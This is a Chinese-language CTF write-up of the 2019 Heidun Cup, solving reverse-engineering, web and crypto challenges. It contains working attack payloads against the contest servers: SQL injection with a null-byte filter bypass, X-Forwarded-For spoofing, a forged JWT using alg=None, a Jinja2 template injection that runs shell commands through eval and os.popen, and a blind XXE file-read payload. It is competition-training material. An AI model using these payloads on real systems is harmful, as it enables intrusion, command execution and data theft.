"黑盾杯"2019-Writeup(部分)
前言
"黑盾杯"賽制,比賽時長6小時,上半場標準的奪旗賽,但沒有一血獎勵機制,下半場企業滲透,最後理論知識競賽結尾
Re
guess the key
程式提供了加密方式,和一對明文密文
先逆向加密演算法,寫出破解key的指令碼,再猜測另一份密文可能使用的Key即可
payload
plain_text = open('msg01','r').read().strip() cipher_text = open('msg01.enc','r').read().strip() cipher2_text = open('msg02.enc','r').read().strip() plain_text = [ord(i) for i in plain_text] cipher_text = [ord(i) for i in cipher_text] cipher2_text = [ord(i) for i in cipher2_text] t = 0 f = 0 key = '' plain = '' for i in range(len(plain_text)): c = ((cipher_text[i] - (i*i) - plain_text[i]) ^ t) & 0xff key += chr(c) t = plain_text[i] key = key[0:31] print key //VeryVeryLongKeyYouWillNeverKnowVery key = [ord(i) for i in key] for i in range(len(cipher2_text)): c = (cipher2_text[i] - (key[i % len(key)] ^ f) - i*i) & 0xff plain += chr(c) f = c print plain //She had been shopping with her Mom in Wal-Mart. She must have been 6 years old, this beautiful brown haired, freckle-faced image of innocence. It was pouring outside. The kind of rain that gushes over the top of rain gutters, so much in a hurry to hit the Earth, it has no time to flow down the spout.flag{101a6ec9f938885df0a44f20458d2eb4}
Web
i have the_flag
頁面js一堆沒用的函式,只有一個ck
函式有用
function ck(s) { try { ic } catch (e) { return; } var a = [118, 108, 112, 115, 111, 104, 104, 103, 120, 52, 53, 54]; if (s.length == a.length) { for (i = 0; i < s.length; i++) { if (a[i] - s.charCodeAt(i) != 3) return ic = false; } return ic = true; } return ic = false; }
很顯然解出這串Ascii值拿去提交就可以成功getflag
I have the Flag
Type in something to get the flag.
Tips: Maybe you have the flag.
Something:
simpleedu123
Congratulations!!
muWn9NU0H6erBN/w+C7HVg
a little hard
<?php function GetIP(){ if(!empty($_SERVER["HTTP_CLIENT_IP"])) $cip = $_SERVER["HTTP_CLIENT_IP"]; else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) $cip = $_SERVER["HTTP_X_FORWARDED_FOR"]; else if(!empty($_SERVER["REMOTE_ADDR"])) $cip = $_SERVER["REMOTE_ADDR"]; else $cip = "0.0.0.0"; return $cip; } $GetIPs = GetIP(); if ($GetIPs=="1.1.1.1"){ echo "Great! Key is *********"; } else{ echo "�������IP���ڷ����б�֮�ڣ�"; } ?>
題目直接給了原始碼,閱讀原始碼可知可通過偽造XFF頭令變數$GetsIP
值為1.1.1.1
,構造請求頭即可得到flag
GET /hard/ HTTP/1.1
Host: 202.0.0.37
x-forwarded-for: 1.1.1.1
Connection: close
click_1
這題就太簡單了
檢視原始碼系列
<div id="esc" style="position:absolute;"><input type="button" onfocus="nokp();" onclick="window.location='?key=700c';" value="click me!"></div><input type="text" readonly style="width:350;" id="hint" value="do you want to join? catch button, if you can!">
注意到?key=700c
,於是構造URL訪問http://202.0.0.37/click/?key=700c即可得到flag
花式過waf
2018黑盾杯原題,使用工具掃描後發現有www.zip
,下載原始碼開始程式碼審計
function.php
: eregi 可以使用 %00截斷正則
function filtering($str) {
$check= eregi('select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile', $str);
if($check)
{
echo "非法字元!";
exit();
}
.....
}
content.php
: 裡面直接拼接給的引數
<?php
include './global.php';
extract($_REQUEST);
$sql = "select * from test.content where id=$message_id";
構造請求得到flag。
message_id="%00" union select 1,2,flag,4 from flag
忘記密碼了
題目一開始只有一個文字框,要求填入email,隨便填一個後有alert提示前往/forget/[email protected]&check=?????
進行下一步
發現網頁原始碼中有重要資訊:
<meta name="admin" content="[email protected]" />
<meta name="editor" content="Vim" />
並且step2.php
中含有一個提交到submit.php
的表單,有emailAddress
欄位和token
欄位
看到Vim可以想到Vim編輯器在非正常退出的情況下會留下.swp
檔案,經過逐個測試發現了submit.php
的原始碼
forget/.submit.php.swp
........這一行是省略的程式碼........
/*
如果登入郵箱地址不是管理員則 die()
資料庫結構
--
-- 表的結構 `user`
--
CREATE TABLE IF NOT EXISTS `user` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(255) NOT NULL,
`email` varchar(255) NOT NULL,
`token` int(255) NOT NULL DEFAULT '0',
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;
--
-- 轉存表中的資料 `user`
--
INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
(1, '****不可見***', '***不可見***', 0);
*/
........這一行是省略的程式碼........
if(!empty($token)&&!empty($emailAddress)){
if(strlen($token)!=10) die('fail');
if($token!='0') die('fail');
$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
$r = mysql_query($sql) or die('db error');
$r = mysql_fetch_assoc($r);
$r = $r['num'];
if($r>0){
echo $flag;
}else{
echo "失敗了呀";
}
}
按照程式碼構造token
,得到flag
GET /forget/[email protected]&token=0000000000
py一波吧-ssti+jwt_1
JWT alg=None 簽名bypass攻擊
-> SSTI
,強行把兩道題拼成一道題,沒有第一步不能進入SSTI
隨便輸入一個使用者名稱密碼,將cookie裡面的token提取出來,解base64可得
```
{"alg":"HS256","typ":"JWT"}.{"username":"admin1"}.signature
```
可以生成一個使用者名稱為admin的token
#encoding: utf-8
#PyJWT
import jwt
import time
def create_token():
payload = {
"username": "admin"
}
token = jwt.encode(payload, None, algorithm=None)
print token
create_token()
把token換上去,就可以進入SSTI流程了。
SSTI過濾了:單引號、os、system、[]
Jinja2對與不存在的物件有一個特殊的定義Undefined類,<class 'jinja2.runtime.Undefined'>
jinja2/runtime.py
@implements_to_string
class Undefined(object):
...
通過構造title={{vvv.__class__.__init__.__globals__ }}
就可以搞事情了,發現有個eval
,就是它了。
{'new_context': <function new_context at 0x7fc79bb4faa0>, 'chain': <type 'itertools.chain'>, '_context_function_types': (<type 'function'>, <type 'instancemethod'>), 'resolve_or_missing': <function resolve_or_missing at 0x7fc79bb4fcf8>, 'Namespace': <class 'jinja2.utils.Namespace'>, 'ContextMeta': <class 'jinja2.runtime.ContextMeta'>, 'evalcontextfunction': <function evalcontextfunction at 0x7fc79bd919b0>, 'escape': <built-in function escape>, 'LoopContext': <class 'jinja2.runtime.LoopContext'>, '_first_iteration': <object object at 0x7fc79f5b2190>, 'TemplateNotFound': <class 'jinja2.exceptions.TemplateNotFound'>,···'eval': <built-in function eval>
不能用[]
可以使用.get()
繞過,被過濾的字串可以拆分成2個字串或者使用格式化字串的方法。
{{vvv.__class__.__init__.__globals__.get("__bui"+"ltins__").get("e"+"val")("__imp"+"ort__(\"o"+"s\").po"+"pen(\"ls\").read()")}}
執行命令列目錄,發現沒有傳說中的flag,但是發現了一個以數字+英文組合為檔名的檔案,經過確認,就是flag
{{vvv.__class__.__init__.__globals__.get("__bui"+"ltins__").get("e"+"val")("__imp"+"ort__(\"o"+"s\").po"+"pen(\"cat f41321d3b61338c8d239e75d971f34a4\").read()")}}
本題原始碼在/app/none
路徑下,也可通過構造類似命令進行讀取。
hardupload
在今年的Google CTF 中出了一道Blind XXE 題 bnv,可以做參考
不懂xxe建議先了解一波
https://www.cnblogs.com/backlion/p/9302528.html
上傳php一句話返回錯誤資訊
For Security, our system do not allow upload xml file from now on.</b></br>Other file like png,jpg,rar,zip...etc is welcome</br>
可以上傳圖片等檔案格式,恰好xml可以解析svg
payload
<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT message ANY>
<!ENTITY % para1 SYSTEM "file:///hhh_Th1s_y0uR_f14g"> //根據報錯回顯找到flag路徑
<!ENTITY % para '
<!ENTITY % para2 "<!ENTITY &#x25; error SYSTEM
'file:///%para1;'>">
%para2;
'>
%para;
]>
<message>10</message>
注意指定MIME型別 Content-Type: text/xml
crypto
MaybeBase
YMFZZTY0D3RMD3RMMTIZ 這一串到底是什麼!!!!為什麼這麼像base32卻不是!!!明文的md5值為16478a151bdd41335dcd69b270f6b985
可以用base64不區分大小寫工具直接爆出所有可能的flag
#!/usr/bin/env python
#coding: utf-8
import base64,sys,os,redef,re
def dfs(res,arr,pos):
res.append(''.join(arr))
i=pos
for i in range(i,len(arr)):
if arr[i]<='Z' and arr[i]>='A':
arr[i]=arr[i].lower()
dfs(res,arr,i+1)
arr[i]=arr[i].upper()
if __name__=="__main__":
print '+' + '-' * 50 + '+'
print u'\t base64大小寫轉換解密工具'
print '+' + '-' * 50 + '+'
if len(sys.argv) != 2:
print u'用法:' + os.path.basename(sys.argv[0]) + u' base64密文'
print u'例項:' + os.path.basename(sys.argv[0]) + ' "AGV5IULSB3ZLVSE="'
sys.exit()
arr = list(sys.argv[1])
res = []
dfs(res, arr, 0)
res_decode = map(base64.b64decode, res)
for i in res_decode:
if re.findall(r'\\x', repr(i)):
continue
else:
print i
/*
base64wtfwtf123
base64wtfwtL123
base64wtLwtf123
base64wtLwtL123
baYe64wtfwtf123
baYe64wtfwtL123
baYe64wtLwtf123
baYe64wtLwtL123
*/
得到base64wtfwtf123的md5值為16478a151bdd41335dcd69b270f6b985